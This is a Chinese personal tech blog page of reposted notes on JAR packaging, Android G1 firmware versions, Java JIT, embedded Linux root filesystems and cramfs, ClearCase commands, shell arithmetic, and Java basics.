·空 tuple (()) 为false;  其它所有字符串皆为 true。
·空 dictionary ({}) 为false;  其它所有字符串皆为 true。

posted @ 2009-05-14 11:15 九宝 阅读(738) | 评论 (0)编辑 收藏

Creating a JAR File(转)

 Creating a JAR File

The basic format of the command for creating a JAR file is:

jar cf jar-file input-file(s)

Let's look at the options and arguments used in this command:

  • The c option indicates that you want to create a JAR file.
  • The f option indicates that you want the output to go to a file rather than to stdout.
  • jar-file is the name that you want the resulting JAR file to have. You can use any filename for a JAR file. By convention, JAR filenames are given a .jar extension, though this is not required.
  • The input-file(s) argument is a space-delimited list of one or more files that you want to be placed in your JAR file. The input-file(s) argument can contain the wildcard * symbol. If any of the "input-files" are directories, the contents of those directories are added to the JAR archive recursively.

The c and f options can appear in either order, but there must not be any space between them.

This command will generate a compressed JAR file and place it in the current directory. The command will also generate a default manifest file for the JAR archive.

You can add any of these additional options to the cf options of the basic command:

Option Description
v Produces verbose output on stderr (in version 1.1) or stdout (in version 1.2) while the JAR file is being built. The verbose output tells you the name of each file as it's added to the JAR file.
0 (zero) Indicates that you don't want the JAR file to be compressed.
M Indicates that the default manifest file should not be produced.
m Used to include manifest information from an existing manifest file. The format for using this option is:
jar cmf existing-manifest jar-file input-file(s)
            
See Modifying a Manifest for more information about his option.
-C To change directories during execution of the command. Version 1.2 only. See below for an example.

In version 1.1, the JAR-file format supports only ASCII filenames. Version 1.2 adds support for UTF8-encoded names.

An Example

Let's look at an example. The JDK demos include a simple TicTacToe applet. This demo contains a bytecode class file, audio files, and images all housed in a directory called TicTacToe having this structure:

The audio and images subdirectories contain sound files and GIF images used by the applet.

To package this demo into a single JAR file named TicTacToe.jar, you would run this command from inside the TicTacToe directory:

jar cvf TicTacToe.jar TicTacToe.class audio images

The audio and images arguments represent directories, so the Jar tool will recursively place them and their contents in the JAR file. The generated JAR file TicTacToe.jar will be placed in the current directory. Because the command used the v option for verbose output, you'd see something similar to this output when you run the command:

adding: TicTacToe.class
            (in=3825) (out=2222) (deflated 41%)
            adding: audio/ (in=0) (out=0) (stored 0%)
            adding: audio/beep.au
            (in=4032) (out=3572) (deflated 11%)
            adding: audio/ding.au
            (in=2566) (out=2055) (deflated 19%)
            adding: audio/return.au
            (in=6558) (out=4401) (deflated 32%)
            adding: audio/yahoo1.au
            (in=7834) (out=6985) (deflated 10%)
            adding: audio/yahoo2.au
            (in=7463) (out=4607) (deflated 38%)
            adding: images/ (in=0) (out=0) (stored 0%)
            adding: images/cross.gif
            (in=157) (out=160) (deflated -1%)
            adding: images/not.gif
            (in=158) (out=161) (deflated -1%)
            

You can see from this output that the JAR file TicTacToe.jar is compressed. The Jar tool compresses files by default. You can turn off the compression feature by using the 0 (zero) option, so that the command would look like:

jar cvf0 TicTacToe.jar TicTacToe.class audio images

You might want to avoid compression, for example, to increase the speed with which a JAR file could be loaded by a browser. Uncompressed JAR files can generally be loaded more quickly than compressed files because the need to decompress the files during loading is eliminated. However, there's a tradeoff in that download time over a network may be longer for larger, uncompressed files.

The Jar tool will accept arguments that use the wildcard * symbol. As long as there weren't any unwanted files in the TicTacToe directory, you could have used this alternative command to construct the JAR file:

jar cvf TicTacToe.jar *

Though the verbose output doesn't indicate it, the Jar tool automatically adds a manifest file to the JAR archive with pathname META-INF/MANIFEST.MF. See the Understanding the Manifest section for information about manifest files.

In the above example, the files in the archive retained their relative pathnames and directory structure. The Jar tool in version 1.2 of the Java Development Kit provides the -C option that you can use to create a JAR file in which the relative paths of the archived files are not preserved. It's modeled after GZIP's -C option.

As an example, suppose you wanted put audio files and gif images used by the TicTacToe demo into a JAR file, and that you wanted all the files to be on the top level, with no directory hierarchy. You could accomplish that by issuing this command from the parent directory of the images and audio directories:

jar cf ImageAudio.jar -C images * -C audio *

The -C images part of this command directs the Jar tool to go to the images directory, and the * following -C images directs the Jar tool to archive all the contents of that directory. The -C audio * part of the command then does the same with the audio directory. The resulting JAR file would have this table of contents:

META-INF/MANIFEST.MF
            cross.gif
            not.gif
            beep.au
            ding.au
            return.au
            yahoo1.au
            yahoo2.au
            

By contrast, suppose that you used a command that didn't employ the -C option:

jar cf ImageAudio.jar images audio

The resulting JAR file would have this table of contents:

META-INF/MANIFEST.MF
            images/cross.gif
            images/not.gif
            audio/beep.au
            audio/ding.au
            audio/return.au
            audio/yahoo1.au
            audio/yahoo2.au
            

posted @ 2009-03-30 11:27 九宝 阅读(263) | 评论 (0)编辑 收藏

版本与固件刷包知识讲解(转)

版本与固件刷包知识讲解

  看到可能很多朋友对于G1版本的不解,我就把我的理解发出来分享给大家
如果有疑问或者建议可以提出来,我们互相学习进步,有不对的指出请指出,新手也可以看看,帮助学习理解G1的版本问题。
  杰尼原创,转载请注明

  通常我们所说的关键词有很多比如RC30 RC8  RC33  JFV1.31  JFV.1.41  汉化包  主题包  降级包之类的
下面我来详细解释下。



首先我来解释下关于你进入设置后看到About phone的信息

  如上图
  Status 是你手机硬件的一些规格信息,状态信息
  Legal information 是指的硬件厂商,服务厂商的信息
  Contributors 贡献者的一个信息列表

  总之前三个没什么用

  看下面  Model number 指的你设备信息  我们用G1
  所以看到的是 T—mobile G1

  下面的 Firmware version
  这个是固件版本
  目前的所有G1基本上都是1.0的
  传说中的Cupcake好像是1.5的

  Baseband version
  是基础板版本  这个对于我们来讲没太大认知作用,略讲

  Kernel version
  内核版本
  我们可以看到Jesusfreke
  没错就是传说中的 JF
  只是个作者信息罢了,说明了这个版本是JF的自制版

  下面Build number
  是固件版本
  我们可以看到常见提到的  TC4-RC30

  现在最新的是更新到了 TC4-RC33

下面讲解一下经常提到的版本RC30 RC8  RC33之类的信息

  由于G1是运营商合作的产物,所以现在分为美版和英版

  美版机器从发布到现在分为RC19,RC28,RC29,RC30,RC31,RC33几个版本
  目前RC31,RC33只是少部分给美国用户升级了,基本上就是做测试用的

  英版从发布到现在RC5,RC7,RC8几个版本

  美国版本命名基本上是TC4-RCXX,而应该版应该是TC5-RCX
  从RC29到RC30这样的升级,我们可以理解为升级小补丁包,官方进行小幅度更新,弥补漏洞用的


关于Cupcake是什么?Cupcake和新闻的RC33哪个高的问题

  Cupcake是一个代号,就跟Windows vista之前代号是Longhorn是的
  Cupcake应该算是一个大的升级了,很久前就开始炒了,预定应该月底能出来,现在还在测,
  新的功能主要包括了可以摄像,中文界面,多触点等功能,比较大的升级
  同时目前来说Cupcake的固件信息应该是1.5

  RC33基本上还是个小补丁,算过渡Cupcake的小包吧,我们可以看到固件升级到1.1,所以
  RC33是小补丁包,Cupcake是一个大升级。

关于JFV1.31  JFV.1.41  的相关内容

  JFV全称应该是
  Jesus freke verson
  也就是这个作者做的自制固件,简单的说他突破了官方版无法拥有ROOT权限的功能,并且解开了一些官方屏蔽的功能
  比如JFV1.41支持的多触点浏览网页等。

关于主题包

  目前G1所谓的拥有主题功能,其实是需要刷一个主题包,由于拥有了Auto-sign签名程序,我们可以自己更换喜欢的图片从而实现主题功能
  这个刷包的话,需要根据主题制作对应的版本,也就是说有点主题是JFV1.31 有的是JFV 1.41的
  需要看清,当然刷你就需要用自制固件
  另外关于担心刷坏主题这个问题
  其实目前来讲,刷包对于G1是很常见的,如果有兴趣玩的话还是建议多看看这方面内容,刷包很简单,但是你最好刷前备份自己的信息资料

关于降级包

  DREAIMG.nbh,这个是用来帮你降级到RC29的包,我们进入Bootloader模式,可以用来降级,其实如果你刷手机由于操作不当等诸多情况
  都可以用其来降级的,所以不必担心

posted @ 2009-03-20 14:07 九宝 阅读(254) | 评论 (0)编辑 收藏

perl print @

#!/usr/bin/perl
@rocks=qw(ab cd ef gh);
print @rocks; #打印出abcdefgh
print @rocks."\n"; #打印4

posted @ 2009-02-18 15:00 九宝 阅读(331) | 评论 (0)编辑 收藏

关于java的JIT知识(转)

什么是JIT

JIT是just in time,即时编译技术。使用该技术,能够加速java程序的执行速度。下面,就对该技术做个简单的讲解。

首先,我们大家都知道,通常javac将程序源代码编译,转换成java字节码,JVM通过解释字节码将其翻译成对应的机器指令,逐条读入,逐条解释翻译。很显然,经过解释执行,其执行速度必然会比可执行的二进制字节码程序慢。为了提高执行速度,引入了JIT技术。

在运行时JIT会把翻译过的机器码保存起来,已备下次使用,因此从理论上来说,采用该JIT技术可以,可以接近以前纯编译技术。下面我看看,JIT的工作过程。

JIT 编译过程

JIT编译启用时(默认是启用的),JVM读入.class文件解释后,将其发给JIT编译器。JIT编译器将字节码编译成本机机器代码,下图展示了该过程。

什么是JIT

JIT是just in time,即时编译技术。使用该技术,能够加速java程序的执行速度。下面,就对该技术做个简单的讲解。

首先,我们大家都知道,通常javac将程序源代码编译,转换成java字节码,JVM通过解释字节码将其翻译成对应的机器指令,逐条读入,逐条解释翻译。很显然,经过解释执行,其执行速度必然会比可执行的二进制字节码程序慢。为了提高执行速度,引入了JIT技术。

在运行时JIT会把翻译过的机器码保存起来,已备下次使用,因此从理论上来说,采用该JIT技术可以,可以接近以前纯编译技术。下面我看看,JIT的工作过程。

JIT 编译过程

JIT编译启用时(默认是启用的),JVM读入.class文件解释后,将其发给JIT编译器。JIT编译器将字节码编译成本机机器代码,下图展示了该过程。


Graphic

 

通过上面的解释,我们了解了JIT的工作原理及过程,同样也发现了个问题,由于JIT对每条字节码都进行编译,造成了编译过程负担过重。为了避免这种情况,当前的JIT只对经常执行的字节码进行编译,如循环等。

需要说明的是,JIT并不总是奏效,不能期望JIT一定能够加速你代码执行的速度,更糟糕的是她有可能降低代码的执行速度。这取决于你的代码结构,当然很多情况下我们还是能够如愿以偿的。

posted @ 2009-01-13 14:18 九宝 阅读(2124) | 评论 (0)编辑 收藏

[Embedded]嵌入式 Linux 的根文件系统 - rootfs (转)

* 嵌入式系统中主要的存储介质 Flash 是稀有资源,为数不多的 RAM 也是。在嵌入式
系统开发中,开发人员十分珍惜这两种资源,也想出了许多办法解决资源短缺的问题。
* Linux 中,rootfs 是必不可少的。PC 上主要实现有 ramdisk 和直接挂载 HD(
Harddisk,硬盘) 上的根文件系统;嵌入式中一般不从 HD 启动,而是从 Flash 启
动,最简单的方法是将 rootfs load 到 RAM 的 RAMDisk,稍复杂的就是 直接从
Flash 读取的 Cramfs,更复杂的是在 Flash 上分区,并构建 JFFS2 等文件系统。
* RAMDisk 将制作好的 rootfs 压缩后写入 Flash,启动的时候由 Bootloader load 到
RAM,解压缩,然后挂载到 /。这种方法操作简单,但是在 RAM 中的文件系统不是压
缩的,因此需要占用许多嵌入式系统中稀有资源 RAM。
* initrd 是 RAMDisk 的格式,kernel 2.4 之前都是 image-initrd,Kernel 2.5 引入
了 cpio-initrd,大大简化了 Linux 的启动过程,附合 Linux 的基本哲学:Keep it
simple, stupid(KISS). 不过,cpio-initrd 作为新的格式,还没有经过广泛测试,
嵌入式 Linux 中主要采用的还是 image-initrd。
* Cramfs 是 Linus 写的很简单的文件系统,有很好的压缩绿,也可以直接从 Flash 上
运行,不须 load 到 RAM 中,因此节约了 RAM。但是 Cramfs 是只读的,对于需要运
行时修改的目录(如: /etc, /var, /tmp)多有不便,因此,一般将这些目录做成
ramfs 等可写的 fs。
* SquashFS 是对 Cramfs 的增强。突破了 Cramfs 的一些限制,在 Flash 和 RAM 的使
用量方面也具有优势。不过,据开发者介绍,在性能上可能不如 Cramfs。这也是一种
新方法,在嵌入式系统采用之前,需要经过更多的测试。
* XIP(exece-in-place,就地运行) 是一种不须将应用程序 load 到 RAM 就可以运行
的技术,无疑可以减少 RAM 的使用。不过在嵌入式系统我还没有遇到这种技术的使用

posted @ 2008-12-29 16:58 九宝 阅读(891) | 评论 (0)编辑 收藏

ClearCase简单使用 (转)

1. When you come to work, the first thing you need to do is: Create a View
   Command:
 

ct mkview -tag <view_tag> <view_storage_path>

   example:

ct mkview -tag alex_test /net/nj2/

   Other Command:

ct lsview                  list all the views reside in the hosts

ct lsview | grep name      list specified view by name

ct rmview -tag <view_tag>  remove an exist view

2. After you create a vew, you need to Set the View to enter it. Then you are able to see the vob content only when you set the view.

ct setview <view_tag>

Example:

ct setview alex_test

Other Commands

ct pwv                     see which view you are currently in

exit                       quit from current view

3. When you are in a view, you need to set the config spec correctly to pick up the right version of element.

ct catcs                   view your config spec

ct edcs                    edit your config spec by vi editor

Other Commands

ct catcs > filename        Copy your config spec to a file

ct setcs filename          Set your config spec from a file

What doew config spec say ? For example:

element* CHECKEDOUT

element* .../ISGcq00123456/LASTEST

element* BLUETOOTH_00.07.00

element* AP_SIPC.01.32.00

element* AP_IB2.00.38_ARM

element* /main/LATEST

Command

element <file path> <version path>

file path: hello.c, *, /vob/su_java/...

version path: Label or Branch

4. Now you may have a task to do. You have a CR assigned, and you know the baseline version.

  • Set config spec to the baseline version.
  • Create branch type associated with the CR.

ct mkbrtype ISGcq00123456

  • Make branch on the baseline version

ct mkbranch ISGcq00123456 hello.c@@/main/2

   Result: hello.c@@/main/ISGcq00123456/0 is created and checked out(a copy of hello.c in the dir was created and you can edited it. If there is not hello.c in the dir, the clearcase would submit a error).

  • Add a rule to pick up this branch in the config spec, just below the CHECKEDOUT rule.

element* .../ISGcq00123456/LATEST

Accessional:

  • Branch type shall have naming convention designed by every project.
  • Don't want check out:

ct mkbranch -nco ISGcq00123456 hello.c@@/main/2

  • Remove a branch from an element:

ct rmbranch hello.c@@/main/ISGcq00123456.

   Make sure no checked out version on this branch

  • Rename a branch name

ct rename brtype:old_name brtype:new_name

   It will apply to all the created branch.

  • Remove a branch type as well as all the related element branch

ct rmtype -rmall brtype:ISGcq00123456

5. After making your CR branch on the file to be changed, check out the version if it hasn't been checked out(checkout后会产生一个自己的私有文件,你可以自己修改,别人看不到,只有这个文件被checkin后才会放到vobs里).

ct co -nc hello.c@@/main/ISGcq00123456/0

    Then, you are able to edit this file. After you finish the change, check in the file to vob.

ct ci -nc hello.c

    The result is, the element will increase one version on the branch:

hello.c@@/main/ISGcq00123456/1

Accessional
  • A checked out version is only in your view. Other engineer can not see it. If you remove that view, you will lost the checked out version.
  • You can undo checkout by:

ct unco hello.c

  • If a checked version has no change, it can't be checked in. You will get an error message like "The file is identical"
  • An unreserved checked out will not block other people check out the same version. Normally, we just use reserved checkout.
  • You can only check out a file on the branch which has mastership role.
6. If your task is to create a new file, you need to do below steps:
  • Make branch on the directory that you will add the file to

ct mkbranch ISGcq00123456 /vob/su_jave/code/src

  • The directory will be automatically checked out. Then make element in this dir.

ct mkelem -nco hello.c

     Create a folder

ct mkelem -eltype directory test

      Dont check it out, because you need to make the CR branch on this file.

ct mkbranch ISGcq00123456 hello.c

  • Check in this directory. Otherwise, other people can not see your new file.

ct ci -nc /vob/su_java/code/src

Accessional

  • We usually only check in the file, but forget to check in the directory. This will cause the file you created can't be stored in the VOB and can't be seen by other people.
  • Go to the top project folder, use below command to list all checked out files and directories int the current dir and sub dir in your view. It will help you check in all elements.

ct lsco -cview -r

7. Now, your task is ongoing. In coding and testing, you may need to merge your file to other version. below example gives the merge steps:

Example: Merge file from hello.c@@/main/branchfrom/5 to hello.c@@/main/branchto/2

ct co -nc hello.c@@/main/branchto/2

ct merge -to hello.c hello.c@@/main/branchfrom/5

     Usually you may also need to compare two versions

ct diff hello.c hello.c hello.c@@/main/branchfrom/5 hello.c@@/main/branchto/2

     Compare this version from the previous version

ct diff -pre hello.c@@/main/branchto/2

Accessional

  • Use this command to list all versions of an element

ct lsvt hello.c

     include the merge info

ct lsvt -merge hello.c

     Remove a merge arrow:

ct rmmerge hello.c@@/main/branchfrom/5 hello.c@@/main/branchto/2

     Dont do actual merge, just draw a merge line

ct merge -ndata hello.c@@/main/branchfrom/5 hello.c@@/main/branchto/2

In what cases we need merge:

  • Integrate with the code developed by someone else.
  • If baseline version has been incresed, need upermage.
  • Merge for release.

8. If you want to remove an un-use version, use the command

ct rmver hello.c@@/main/branchto/2

     Then the version 2 will be removed, but next time the version will increase from 1 to 3.

     If you want to remove a file, you can use remove name command:

ct rmname hello.c

     Be sure to make branch and check out the current directory before rmove it, just like the steps of make element.

     If you want to rename a file, you can use

ct mv old_name new_name

    

     If you want to create an element link, you can use

ct ln source_file file_link

     (checkout current folder like above)

9. Now you may have completed the task of coding, testing, inspection, and prepare to release it. You need to check your developed version is complied with below rules:

  • Must make branch from the baseline version.
  • Must have up merged your branch if the baseline version is not the LATEST version.
  • All the files and directories have no checkou.

10. How to label the version

     Make the label type:

ct mklbtype BLUETOOTH_00.07.00

     Make label on a version:

ct mklabel BLUETOOTH_00.07.00 hello.c@@/main/branchto/2

     Move a label from the old version to a new version:

ct mklabel -replace BLUETOOTH_00.07.00 hello.c@@/main/branchto/3

     Remove label on a version:

ct rmlabel BLUETOOTH_00.07.00 hello.c@@/main/branchto/3

     Remove the label type

ct rmtype lbtype:BLUETOOTH_00.07.00

11. How to search the reuqired version

     Find all files with the version(.../ISGcq00373766/LATEST) and with no label SAMBA_AP_DSL_BLUETOOTH_00.00.07:

ct find /vob/directory -version 'version(.../ISGcq00373766/LATEST)  && !version(SAMBA_AP_DSL_BLUETOOTH_00.00.07)' -print

     Find all files with the version SAMBA_AP_DSL_BLUETOOTH_00.00.07, and then search STRING in all found files:

ct find .-version 'version(SAMBA_AP_DSL_BLUETOOTH_00.00.07)' -exec 'grep STRING $CLEARCASE_PN'

posted @ 2008-11-12 14:14 九宝 阅读(1216) | 评论 (0)编辑 收藏

cramfs文件系统(转)

1、cramfs的特点

在嵌入式的环境之下,内存和外存资源都需要节约使用。如果使用RAMDISK方式来使用文件系统,那么在系统运行之后,首先要把外存(Flash)上的映像文件解压缩到内存中,构造起RAMDISK环境,才可以开始运行程序。但是它也有很致命的弱点。在正常情况下,同样的代码不仅在外存中占据了空间(以压缩后的形式存在),而且还在内存中占用了更大的空间(以解压缩之后的形式存在),这违背了嵌入式环境下尽量节省资源的要求。

使用cramfs就是一种解决这个问题的方式。cramfs是一个压缩式的文件系统,它并不需要一次性地将文件系统中的所有内容都解压缩到内存之中,而只是在系统需要访问某个位置的数据的时侯,马上计算出该数据在cramfs中的位置,将其实时地解压缩到内存之中,然后通过对内存的访问来获取文件系统中需要读取的数据。cramfs中的解压缩以及解压缩之后的内存中数据存放位置都是由cramfs文件系统本身进行维护的,用户并不需要了解具体的实现过程,因此这种方式增强了透明度,对开发人员来说,既方便,又节省了存储空间。

cramfs拥有以下一些特性:

采用实时解压缩方式,但解压缩的时侯有延迟。

cramfs的数据都是经过处理、打包的,对其进先写操作有一定困难。所以cramfs不支持写操作,这个特性刚好适合嵌入式应用中使用Flash存储文件系统的场合。

在cramfs中,文件最大不能超过16MB。

支持组标识(gid),但是mkcramfs只将gid的低8位保存下来,因此只有这8位是有效的。

支持硬链接。但是cramfs并没有完全处理好,硬链接的文件属性中,链接数仍然为1.

cramfs的目录中,没有“.”和“..”这两项。因此,cramfs中的目录的链接数通常也仅有一个。

cramfs中,不会保存文件的时间戳(timestamps)信息。当然,正在使用的文件由于inode保存在内存中,因此其时间可以暂时地变更为最新时间,但是不会保存到cramfs文件系统中去。

当前版本的cramfs只支持PAGE_CACHE_SIZE为4096的内核。因此,如果发现cramfs不能正常读写的时侯,可以检查一下内核的参数设置。


2、使用cramfs

可以从
http://sourceforge.net/projects/cramfs/下载cramfs-1.1.tar.gz。然后执行

tar zxvf cramfs-1.1.tar.gz

进入解包之后生成cramfs-1.1目录,执行编译命令:

make

编译完成之后,会生成mkcramfs和cramfsck两个工具,其中cramfsck工具是用来创建cramfs文件系统的,而mkcramfs工具则用来进行cramfs文件系统的释放以及检查。

下面是mkcramfs的命令格式:

mkcramfs [-h] [-e edition] [-i file] [-n name] dirname outfile

mkcramfs的各个参数解释如下:

-h:显示帮助信息

-e edition:设置生成的文件系统中的版本号

-i file:将一个文件映像插入这个文件系统之中(只能在Linux2.4.0以后的内核版本中使用)

-n name:设定cramfs文件系统的名字

dirname:指明需要被压缩的整个目录树

outfile:最终输出的文件


cramfsck的命令格式:

cramfsck [-hv] [-x dir] file

cramfsck的各个参数解释如下:

-h:显示帮助信息

-x dir:释放文件到dir所指出的目录中

-v:输出信息更加详细

file:希望测试的目标文件

posted @ 2008-08-14 15:43 九宝 阅读(495) | 评论 (0)编辑 收藏

linux创建2种新文件方式

linux下没有文件后缀来比较文件格式的用法
只有两种文件基于文本格式的sh和可以执行的2进制文件

vi filename
在编辑好你的文件后可以用wq!保存
这样就可以生成一个你以编辑好的文件
还有vim gedit等文件编辑器
也可以用上楼说的生成一个文件

touch filename

posted @ 2008-07-10 15:50 九宝 阅读(255) | 评论 (0)编辑 收藏

Bash Shell-使用内置的set和shopt命令设置bash选项

set -o 打印所以的选项
set -o vi 打开选项
set +o vi 关闭选项

shopt -p 打印所以的选项
shopt -s cdspell打开选项
shopt -u cdspell关闭选项

posted @ 2008-07-10 15:49 九宝 阅读(246) | 评论 (0)编辑 收藏

Shell 运算和进制转换(转)

Shell 运算和进制转换

Shell 提供大量的基本运算操作,在脚本中非常有用。Shell 对您提供的算术表达式求值,执行运算展开式,此时使用得出的结果替换表达式。以下面的格式提供运算表达式:

$(( expression ))
                        

您可以使用 echo 在命令行显示运算展开式的结果,了解其工作情况。现在尝试清单 5 所显示的结果。


清单 5. Bourne Shell 中的运算展开式
                     
                        $ echo $((10+40))
                        50
                        $ echo $((5*(3+3)))
                        30
                        

您还可以将展开式分配给变量。尝试清单 6 所显示的结果。


清单 6. 将运算展开式分配给 Shell 变量
                     
                        $ myvar = 10
                        $ echo $myvar
                        10
                        $ echo $(($myvar-2))
                        8
                        $ myvar = $(($myvar+5))
                        $ echo $myvar
                        15
                        $ result = $(($myvar-10))
                        $ echo $result
                        5
                        $
                        

表 2 列出了在大多数 Bourne 以及与 Bourne 兼容的 Shell中可以使用的运算符。正如上面第二个示例,使用圆括号括起来的语句有更高的优先级。实际上,Shell 算术优先级通常根据 C 语言的规则来确定。


表 2. Shell 条件表达式
运算符 描述
+
-
*
/
% 求余
< 小于(1 代表真,0 代表假)
<= 小于等于(1 代表真,0 代表假)
> 大于(1 代表真,0 代表假)
>= 大于等于(1 代表真,0 代表假)
<< 按位向左移位:将给定的整数或第一个表达式向左移动第二个表达式表示的位数
>> 按位向右移位:将给定的整数或第一个表达式向右移动第二个表达式表示的位数




回页首


使用 Shell 运算进行进制转换

假定在您的脚本中有一些数字,您需要以另外的进制处理这些数字。使用 Shell 运算可以很容易地自动实现这类转换。一种情况是使用 Shell 运算把一个数字从给定的进制转换位十进制。如果数字以运算展开式的形式提供,那么假定它带有十进制符号,除非 它前面带有 0(这种情况假定是八进制)或 0x(这种情况假定是十六进制)。键入以下内容以得到一些八进制和十六进制值的十进制输出:

$ echo $((013))
                        $ echo $((0xA4))
                                        

您还可以使用以下格式指定 2 到 64 之间的任意进制:

$((BASE#NUMBER))
                        

通过在 Shell 提示符后键入清单 7 中所示的行,尝试将二进制、八进制、十六进制以及其他进制的数转换为十进制。


清单 7. 在 Shell 中将任意进制的数以十进制输出
                     
                        echo $((2#1101010))
                        echo $((8#377))
                        echo $((16#D8))
                        echo $((12#10))
                        echo $((36#ZZYY))
                        

使用 bc 进行进制转换

在 Shell 中进行进制转换的另一个诀窍是使用 bc,它是一种任意精度运算语言,大多数 UNIX 安装程序都提供。因为它允许您指定输出进制,所以当您需要以十进制以外的进制输出时,这是一种很好的技术。

bc 的特殊变量 ibaseobase 分别包含用于输入和输出的进制的值。缺省情况下,都被设置为 10。要执行进制转换,需要改变其中的一个或两个值,然后提供一个数字。立即尝试,如清单 8 中所示。


清单 8. 使用 bc 执行进制转换
                     
                        $ bc -ql
                                            10
                        10
                        obase=16
                                            10
                        A
                        ibase=2
                                            10
                        2
                        
                                                 Control-D
                                            
                        $
                        

要快速执行进制转换,可以联合使用 bcecho形成快捷的单命令行程序,将给定的值通过管道传输给 bc。键入清单 9 中显示的内容。


清单 9. Shell 单命令行 bc 程序
                     
                        $ echo 'obase=16; 47' | bc
                        2F
                        $ echo 'obase=10; ibase=16; A03' | bc
                        2563
                        $
                        

警告:当您设置 bc 的输入进制以后,输入 bc 的所有数字都使用该进制,包括您提供用于设置输出进制的数字。因此最好先设置输出进制,否则可能会产生意想不到的结果,如清单 10 中所示。


清单 10. 设置输入和输出进制的先后顺序的重要性
                     
                        $ echo 'ibase=16; obase=10; A' | bc
                        A
                        $ echo 'ibase=16; obase=A; A' | bc
                        10
                        $
                        

posted @ 2008-07-09 14:46 九宝 阅读(1637) | 评论 (0)编辑 收藏

执行shell程序文件有4种方法(转)

执行shell程序文件有4种方法
  (1)#chmod +x file(在/etc/profile中,加入export PATH=${PATH}:~/yourpath,就可以在命令行下直接运行,像执行普通命令一样)
  (2)#sh file
  (3)# . file
  (4)#source file

posted @ 2008-07-08 10:21 九宝 阅读(196) | 评论 (0)编辑 收藏

Bitwise operators and Shift operators

位运算符与逻辑运算符基本相似,不过后者的对象只是表示真和假的二值运算,位运算符的对象则是二进制数。Java语言中字节、字符和整数等都可以转换为二进制,所以位运算符的对象也可以是它们。常见位运算符有:
按位进行与运算 : &
按位进行或运算 : |
按位进行位异运算: ^
按位进行取反运算: ~
按位进行循环左移:<<,运算符左侧对象左移由右侧指定的位数,低位补0,最高位抛弃。带符号的左移位运算相当于对左操作数进行乘2运算。
按位进行循环右移:>>,运算符左侧对象右移由右侧指定的位数,若值为正,在最高位插入0,若值为负,在最高位插入1,即移入的最高位和原最高符号位相同。带符号的右移位运算相当于对左边的运算对象进行除2运算。
按位进行无符号右移:>>>,无论运算符左边的运算对象取值正负,都在高位插入0,即移入位始终补0.
要注意是没有按位进行无符号左移的。位运算符的操作数只能是整数,char,byte,short,
int和long,进行位运算时,总是先将字符型值、字节型值和短整型值转换为整型再进行位运算。位运算符游标的操作数用于指定移动的位数,按规定其不应超过左侧数的进制表示位数。
The bitwise operators allow you to manipulate individual bits in an integral primitive data type.Bitwise operators perform Boolean algebra on the corresponding bits in the two arguments to produce the result. The bitwise operators come from C’s low-level orientation, where you often manipulate hardware
directly and must set the bits in hardware registers. Java was originally designed to be embedded in TV set-top boxes, so this low-level orientation still made sense. However, you probably won’t use the bitwise operators much.
The bitwise AND operator (&) produces a one in the output bit if both input bits are one; otherwise, it produces a zero.
The bitwise OR operator (|) produces a one in the output bit if either input bit is a one and produces a zero only if both input bits are zero.
The bitwise EXCLUSIVE OR, or XOR (^), produces a one in the output bit if one or the other input bit is a one, but not both.
The bitwise NOT (~, also called the ones complement operator) is a unary operator; it takes only one argument. (All other bitwise operators are binary operators.) Bitwise NOT produces the opposite of the input bit—a one if the input bit is zero, a zero if the input bit is one.

posted @ 2008-05-20 13:22 九宝 阅读(365) | 评论 (0)编辑 收藏

Special case: primitive types

 

Special case: primitive types

Java determines the size of each primitive type. These sizes don’t change from one machine

architecture to another as they do in most languages. This size invariance is one reason Java

programs are more portable than programs in most other languages.

 

 

All numeric types are signed, so don’t look for unsigned types.

The size of the boolean type is not explicitly specified; it is only defined to be able to take the literal values true or false.

The “wrapper” classes for the primitive data types allow you to make a non-primitive object on the heap to represent that primitive type. For example:

char c = 'x';

Character ch = new Character(c);

Or you could also use:

Character ch = new Character('x');

Java SE5 autoboxing will automatically convert from a primitive to a wrapper type:

Character ch = 'x';

and back:

char c = ch;

The reasons for wrapping primitives will be shown in a later chapter.

High-precision numbers

Java includes two classes for performing high-precision arithmetic: BigInteger and

BigDecimal. Although these approximately fit into the same category as the “wrapper” classes, neither one has a primitive analogue.

Both classes have methods that provide analogues for the operations that you perform on

primitive types. That is, you can do anything with a BigInteger or BigDecimal that you can with an int or float, it’s just that you must use method calls instead of operators. Also, since there’s more involved, the operations will be slower. You’re exchanging speed for accuracy.

BigInteger supports arbitrary-precision integers. This means that you can accurately represent integral values of any size without losing any information during operations.

BigDecimal is for arbitrary-precision fixed-point numbers; you can use these for accurate

monetary calculations, for example.

 

OX1231×1622×1613×160

posted @ 2008-05-20 13:12 九宝 阅读(185) | 评论 (0)编辑 收藏

整型数据

三种形式的整型常量数据:
1.十进制
2.八进制,以o开头O123=1×82+1×81+3×80=十进制的83
3.十六进制 ,以ox开头  OX1231×1622×1613×160

posted @ 2008-05-20 13:10 九宝 阅读(149) | 评论 (0)编辑 收藏

Introduction to Objects

1.The hidden implementation
The goal of the class creator is to build a class that exposes only what is necessary to the client programmer and keeps everything else hidden. Why?
(1)Becuase if it is hidden, the client programmer can't access it, which means that the class creator can change the hidden portion at will withou worring about the impact on anyone else.
(2)The hidden portion usually reprsents the tender insides of an object that could easily be corrupted by a careless or uninformed client programmer, so hiding the implementation reduces program bugs.

2.Reusing the implementation
The simplest way to reuse a class is to just use an object of that class directly, but you can also place an object of that class inside a new class. We call this "creating a member object." Your new class can be made up of any mumber and type of other objectss, in any combination that you need to achieve the fuctionality desired in your new class. Because you are composing a new class from existing classes, this conception is called composition. Compositon is often referred to as a "has-a" relationship, as "A car has an engine."
Because inheritance is so important in OOP, it is often highly emphasized, and the new programmer can get the idea that inheritance should be used everywhere. This can result in awkward and overly complicated designs. Instead, you should first look to composition when creating new classes, since it is simpler and more flexible. If you take this approach,your designer will be cleaner. Once you have had some experience, it will be reasonably obvious when you need inheritance.

3.Inheritance
You have two ways to differentiate your new derived class from the original base class.
The first is quite straightforward: You simply add brand new methods to the derived class. This means that the base class simply didn't as much as you wanted it to, so you added more methods. This simple and primitive use for inheritance is, at times, the perfect solution to your problem. However, you should look closely for the posiblilty that your base class might also need these additional methods. This process of discovery and iteration of your design happens regularly in OOP.
The second and more important way to differentiate your new class is to change the behavior of an existing base-class method. This is referred to as overriding that method. To override a method, you simply create a new definition for the method in the derived class. You are saying, "I am using the same interface method here, but I want it to do something different for my new type."

4.Is-a vs. is-like-a relationships

5.Interchangeable objects with polymorphism

6The single rooted hierarchy
